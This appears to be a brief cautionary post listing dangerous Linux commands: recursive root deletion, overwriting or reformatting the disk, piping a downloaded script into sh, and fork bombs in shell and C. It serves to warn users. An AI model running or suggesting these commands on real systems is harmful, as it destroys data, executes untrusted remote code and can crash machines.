Never Run these commands....on Linux...

#rm -rf /
#any_command > /dev/sda
#mkfs.ext3 /dev/sda
#mv /home/my_home_directory/* /dev/null
#dd if=/dev/urandom of=/dev/sda
Even Linux has so-called rootkits, malware that takes control of root and transforms the PC into an unwilling zombie. All you need is some_untrusted_source on the Web and use wget on it:
#wget http://some_untrusted_source -O- | sh
The command certainly invites trouble from the untrusted URL in the way of possible rootkits with malicious code.

ForkBomb:the processes recursively fork until a denial of service or a crash occurs
#:(){ :|:& };:

similar in c...

#include 

int main(int argc, char* argv[])
{
 while(1)
   fork();
 return 0;
}